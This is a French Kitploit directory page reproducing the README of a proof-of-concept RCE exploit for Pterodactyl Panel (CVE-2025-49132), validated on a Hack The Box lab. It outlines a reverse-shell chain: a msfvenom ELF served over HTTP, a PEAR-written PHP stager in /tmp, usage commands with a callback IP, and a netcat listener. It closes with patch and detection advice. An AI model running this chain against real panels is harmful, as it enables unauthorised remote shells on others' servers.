Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
HTB-Pterodactyl-RCE-CVE-2025-49132 — Ce dépôt contient un exploit RCE pour la machine htb Pterodactyl | Kitploit
Outils/GitHubGitHub/symphony2colour/htb-pterodactyl-rce-cve-2025-49132
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHub
symphony2colour/htb-pterodactyl-rce-cve-2025-49132

HTB-Pterodactyl-RCE-CVE-2025-49132

Ce dépôt contient un exploit RCE pour la machine htb Pterodactyl

Voir le dépôt
12il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Pterodactyl Panel Locale RCE (CVE-2025-49132) — PoC pédagogique

scope cve python license

Uniquement pour des tests autorisés et pour l’apprentissage défensif.
Ce dépôt est destiné à des environnements de laboratoire contrôlés (par exemple, des configurations de type CTF/HTB) où vous possédez la cible ou disposez d’une autorisation écrite explicite pour la tester.

Contexte

Ce dépôt contient une preuve de concept pédagogique en Python (pterodactyl_rce.py) pour une vulnérabilité réelle affectant les versions du panneau Pterodactyl antérieures à v1.11.11. Dans certaines configurations vulnérables, un attaquant non authentifié peut parvenir à une exécution de code à distance via le point de terminaison /locales/locale.json en raison d’une gestion inappropriée des paramètres et .

locale
namespace

Cette variante du PoC cible les environnements où PHP-PEAR est installé et a été construite/validée contre la machine Hack The Box retirée Pterodactyl : https://app.hackthebox.com/machines/Pterodactyl. Elle peut également fonctionner dans d’autres configurations de laboratoire où les mêmes conditions sont réunies.

Référence de la vulnérabilité

  • Avis GitHub : GHSA-24wv-6c99-f843 (CVE-2025-49132)
  • Affecté : Pterodactyl Panel < 1.11.11
  • Corrigé dans : v1.11.11 (commit de correctif 24c82b0…)

Idée générale (comment fonctionne le PoC)

À un niveau élevé, le PoC enchaîne les étapes suivantes :

  1. Génère une charge utile reverse TCP ELF Linux x64 avec msfvenom.
  2. Sert cet ELF via un serveur HTTP (une requête, puis arrêt).
  3. Exploite la gestion vulnérable de /locales/locale.json pour écrire un « stager » PHP dans /tmp (via une astuce de pearcmd config-create de PEAR).
  4. Déclenche le stager via le point de terminaison des locales afin qu’il :
    • télécharge l’ELF dans /tmp,
    • le rende exécutable,
    • l’exécute pour établir une connexion retour vers votre listener.

Le script utilise un client HTTP brut plutôt que curl pour l’étape d’« envoi », car certains outils peuvent normaliser ou encoder les caractères d’une manière qui casserait la requête forgée.

Remarque : Ce README reste volontairement à un niveau défensif/pédagogique. N’utilisez le code que dans des environnements que vous êtes autorisé à tester.


Prérequis (locaux)

  • Python 3.10+ (testé avec la bibliothèque standard uniquement)
  • msfvenom disponible dans $PATH (Metasploit Framework)
  • nc (netcat) si vous souhaitez que le PoC démarre un auto-listener
  • Accès réseau entre votre machine de laboratoire et votre instance Pterodactyl de laboratoire

Configuration

Le script attend actuellement un nom d’hôte HTB du panneau dans le code source :

root@kitploit:~
host = "panel.pterodactyl.htb"

De plus, le chemin codé en dur vers PHP-PEAR est défini sur : ../../../../../usr/share/php/PEAR. Si vous testez cela en dehors de la machine Pterodactyl, vous devrez ajuster ce chemin en fonction de votre configuration locale.


Utilisation (laboratoire contrôlé uniquement)

1) Exécution de base (auto-listener activé)

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT>
  • <LHOST> : votre IP de rappel accessible par le serveur de laboratoire
  • <LPORT> : port pour recevoir le shell inverse

2) Exécution sans auto-listener

Si vous préférez utiliser votre propre listener :

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen

Ensuite, dans un autre terminal :

root@kitploit:~
nc -lvnp <LPORT>

Exemple (espace réservé)

root@kitploit:~
python3 pterodactyl_rce.py 10.10.14.225 5555

Sortie / à quoi s’attendre

Déroulement typique :

  • Génère une charge utile ELF (nom de fichier aléatoire comme shell_ab12cd34)
  • Démarre un serveur HTTP à usage unique sur :8080
  • Crée un stager PHP dans /tmp/<random>.php
  • Déclenche le stager
  • Supprime le fichier ELF local après le déclenchement
  • Affiche une astuce pour améliorer votre shell (PTY)

Capture d’écran de l’exploitation réussie :

Reverse shell

Problèmes connus / Notes de laboratoire

  • Instabilité du laboratoire : La machine/service cible peut être instable (timeouts, 5xx intermittents, exécution retardée). Si une exécution échoue, réessayez après une courte pause.
  • Réutilisation d’anciennes charges utiles : L’environnement peut parfois déclencher un fichier plus ancien déjà envoyé/stagé. Le script nettoie uniquement un fichier local sur la machine attaquante mais ne touche pas aux fichiers du dossier /tmp/ sur la machine cible. Solutions possibles :
    • Relancez avec un nouveau nom de charge utile aléatoire (comportement par défaut de ce script).
    • Changez le port initial de http.server de 8080 vers un autre port.
    • Changez votre port de listener (par exemple, 4444 → 5555) et regénérez la charge utile.
    • Assurez-vous que votre serveur HTTP sert le fichier actuel (arrêtez tout serveur/listener précédent).
    • Si vous avez un accès, supprimez manuellement les anciens artefacts /tmp/<name>.php sur la cible ; sinon, attendez un moment puis réessayez.

Conseils défensifs (quoi corriger / comment détecter)

Correctif / atténuation

  • Mettez à niveau vers Pterodactyl Panel v1.11.11 ou une version ultérieure.
  • Il n’existe pas de solution de contournement dans l’application autre que le correctif ; vous pouvez bloquer le point de terminaison /locales/locale.json au niveau du serveur web, mais cela risque de casser les fonctionnalités de localisation.

Idées de détection

Recherchez des requêtes suspectes comme :

  • Des requêtes vers /locales/locale.json avec des séquences de traversée inhabituelles dans locale=
  • Des valeurs namespace= étranges (noms inattendus, chaînes longues, caractères inhabituels)
  • La création soudaine de fichiers inattendus dans /tmp/ sur l’hôte du panneau

Corrélez les journaux web avec :

  • de nouveaux processus lancés par l’utilisateur www / PHP-FPM
  • des connexions sortantes vers des destinations/ports non standards
  • une utilisation inattendue de curl/wget depuis l’hôte du panneau

Notes sur l’utilisation responsable

  • Ne scannez pas et ne testez pas d’instances publiques.
  • Si vous êtes l’opérateur d’une instance vulnérable, traitez cela comme critique et corrigez immédiatement.

Remerciements

  • PoC original : Pterodactyl Panel (< 1.11.11) — Remote Code Execution (RCE) (EDB-ID : 52341, CVE-2025-49132) par Zen-kun04
    https://www.exploit-db.com/exploits/52341
  • Reporter / crédit de découverte : l’avis GitHub crédite @azimoff337 pour avoir signalé GHSA-24wv-6c99-f843 / CVE-2025-49132.
  • Base de données d’avis GitHub / processus CVE : pour le suivi et la publication des détails de la vulnérabilité.
  • Hack The Box (HTB) : ce PoC a été construit/validé dans un environnement de laboratoire contrôlé de type HTB pour l’apprentissage et la recherche défensive.
    Aucun spoiler pour le contenu HTB actif.
Télécharger l’outil